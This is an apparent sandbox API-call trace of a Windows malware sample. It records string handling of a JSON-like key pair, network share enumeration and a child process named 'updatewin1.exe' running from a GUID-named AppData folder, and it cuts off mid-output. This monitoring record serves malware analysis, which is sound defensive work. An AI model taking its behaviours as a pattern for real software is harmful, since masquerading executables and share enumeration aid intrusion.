(lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793aea0 [0050.840] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x8ba) returned 0x79cb6e0 [0050.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x793aea0, cbMultiByte=-1, lpWideCharStr=0x79cb6e0, cchWideChar=1117 | out: lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 94 [0050.840] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x8c0) returned 0x79cbfa8 [0050.840] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cb6e0 | out: hHeap=0x4ff0000) returned 1 [0050.840] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793aea0 | out: hHeap=0x4ff0000) returned 1 [0050.840] lstrcpyW (in: lpString1=0x464f20, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.840] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cbfa8 | out: hHeap=0x4ff0000) returned 1 [0050.841] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.841] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xbc) returned 0x79d93c8 [0050.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145aa778, cbMultiByte=-1, lpWideCharStr=0x79d93c8, cchWideChar=94 | out: lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 94 [0050.841] lstrcpyW (in: lpString1=0x464f20, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.841] lstrlenW (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0050.841] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0050.841] lstrcpyA (in: lpString1=0x145aab78, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.841] lstrcpyA (in: lpString1=0x145aa778, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.841] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79d56c0 [0050.842] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x854) returned 0x79cb6e0 [0050.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79d56c0, cbMultiByte=-1, lpWideCharStr=0x79cb6e0, cchWideChar=1066 | out: lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 43 [0050.842] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x79cbf40 [0050.842] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cb6e0 | out: hHeap=0x4ff0000) returned 1 [0050.842] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d56c0 | out: hHeap=0x4ff0000) returned 1 [0050.842] lstrcpyW (in: lpString1=0x46c450, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.842] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cbf40 | out: hHeap=0x4ff0000) returned 1 [0050.842] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0050.842] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x56) returned 0x79ce648 [0050.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145aa778, cbMultiByte=-1, lpWideCharStr=0x79ce648, cchWideChar=43 | out: lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 43 [0050.842] lstrcpyW (in: lpString1=0x46c450, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.842] lstrlenW (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0050.842] lstrlenW (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned 40 [0050.842] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0050.843] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d0f0 | out: hHeap=0x4ff0000) returned 1 Thread: id = 47 os_tid = 0x864 [0051.162] timeGetTime () returned 0x114675b [0051.162] GetLastError () returned 0x54f [0051.162] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3bc) returned 0x7a0d918 [0051.162] GetCurrentThreadId () returned 0x864 [0051.162] SetLastError (dwErrCode=0x54f) [0051.162] Sleep (dwMilliseconds=0x9c40) [0063.405] Sleep (dwMilliseconds=0x3e8) Thread: id = 48 os_tid = 0x868 [0051.162] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xe5efee0 | out: lphEnum=0xe5efee0*=0x79e1798) returned 0x0 [0051.496] WNetEnumResourceW (in: hEnum=0x79e1798, lpcCount=0xe5efedc, lpBuffer=0x7a75ee0, lpBufferSize=0xe5efed8 | out: lpcCount=0xe5efedc, lpBuffer=0x7a75ee0, lpBufferSize=0xe5efed8) returned 0x0 [0051.496] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb7d8 [0051.496] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb820 [0051.496] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x70) returned 0x79d5700 [0051.496] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb868 [0051.497] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb8b0 [0051.497] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7a75ee0, lphEnum=0xe5efe28 | out: lphEnum=0xe5efe28*=0x79b3c88) returned 0x0 [0051.501] WNetEnumResourceW (in: hEnum=0x79b3c88, lpcCount=0xe5efe24, lpBuffer=0x7a7cf28, lpBufferSize=0xe5efe20 | out: lpcCount=0xe5efe24, lpBuffer=0x7a7cf28, lpBufferSize=0xe5efe20) returned 0x103 [0051.501] WNetCloseEnum (hEnum=0x79b3c88) returned 0x0 [0051.501] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb820 | out: hHeap=0x4ff0000) returned 1 [0051.501] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb7d8 | out: hHeap=0x4ff0000) returned 1 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb7d8 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb820 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xe0) returned 0x50d0fb8 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb430 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb940 [0051.501] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb8b0 | out: hHeap=0x4ff0000) returned 1 [0051.501] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb868 | out: hHeap=0x4ff0000) returned 1 [0051.501] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d5700 | out: hHeap=0x4ff0000) returned 1 [0051.501] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb868 [0051.502] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb8b0 [0051.502] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7a75f00, lphEnum=0xe5efe28) Thread: id = 49 os_tid = 0x874 Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" page_root = "0x2a3c9000" os_pid = "0x86c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x80c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0x870 [0053.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xb26fe310, dwHighDateTime=0x1d55a45)) [0053.526] GetCurrentProcessId () returned 0x86c [0053.526] GetCurrentThreadId () returned 0x870 [0053.526] GetTickCount () returned 0x1146e2e [0053.526] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17382245167) returned 1 [0053.541] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.541] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x280000 [0053.542] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.542] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.542] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.542] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.542] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.543] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.543] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.543] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.543] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.543] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.543] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.543] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.543] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.543] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.543] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.544] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.544] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.544] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.544] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.544] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.544] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.544] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x214) returned 0x2807d0 [0053.544] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.544] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.545] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.545] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.545] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.545] GetCurrentThreadId () returned 0x870 [0053.545] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.545] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x800) returned 0x2809f0 [0053.545] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.545] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.545] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.545] SetHandleCount (uNumber=0x20) returned 0x20 [0053.545] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" " [0053.546] GetEnvironmentStringsW () returned 0x5d4e70* [0053.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.546] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x565) returned 0x2811f8 [0053.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2811f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.546] FreeEnvironmentStringsW (penv=0x5d4e70) returned 1 [0053.546] GetLastError () returned 0x0 [0053.546] SetLastError (dwErrCode=0x0) [0053.546] GetLastError () returned 0x0 [0053.546] SetLastError (dwErrCode=0x0) [0053.546] GetLastError () returned 0x0 [0053.546] SetLastError (dwErrCode=0x0) [0053.546] GetACP () returned 0x4e4 [0053.546] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x220) returned 0x281768 [0053.546] GetLastError () returned 0x0 [0053.546] SetLastError (dwErrCode=0x0) [0053.546] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.546] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0053.546] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0053.546] GetLastError () returned 0x0 [0053.546] SetLastError (dwErrCode=0x0) [0053.546] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 